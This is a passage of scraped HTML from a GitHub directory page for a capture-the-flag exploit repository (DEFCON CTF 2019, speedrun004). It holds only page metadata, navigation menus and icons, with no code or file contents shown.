<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="exploit code or file. Contribute to wotmd/CTF_Exploit development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/b29abb5b56d04b332b5f15d5867c492545305e85a5c738941e3b078ed2eff10e/wotmd/CTF_Exploit" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF_Exploit/DEFCON_CTF_2019/speedrun004 at master · wotmd/CTF_Exploit" /><meta name="twitter:description" content="exploit code or file. Contribute to wotmd/CTF_Exploit development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/b29abb5b56d04b332b5f15d5867c492545305e85a5c738941e3b078ed2eff10e/wotmd/CTF_Exploit" /><meta property="og:image:alt" content="exploit code or file. Contribute to wotmd/CTF_Exploit development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF_Exploit/DEFCON_CTF_2019/speedrun004 at master · wotmd/CTF_Exploit" /><meta property="og:url" content="https://github.com/wotmd/CTF_Exploit" /><meta property="og:description" content="exploit code or file. Contribute to wotmd/CTF_Exploit development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/wotmd/CTF_Exploit git https://github.com/wotmd/CTF_Exploit.git">
<meta name="octolytics-dimension-user_id" content="12529878" /><meta name="octolytics-dimension-user_login" content="wotmd" /><meta name="octolytics-dimension-repository_id" content="186552212" /><meta name="octolytics-dimension-repository_nwo" content="wotmd/CTF_Exploit" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="186552212" /><meta name="octolytics-dimension-repository_network_root_nwo" content="wotmd/CTF_Exploit" />
<link rel="canonical" href="https://github.com/wotmd/CTF_Exploit/tree/master/DEFCON_CTF_2019/speedrun004" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="186552212" data-scoped-search-url="/wotmd/CTF_Exploit/search" data-owner-scoped-search-url="/users/wotmd/search" data-unscoped-search-url="/search" data-turbo="false" action="/wotmd/CTF_Exploit/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="qikYESYM0shwHsIwSuFwzGDoXC7gOF+dRa2QIP5w7QcNIIjyG/Ig+/lcFHnJFh1DckNJJ1A4oNnTaBZSElWR7A==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" 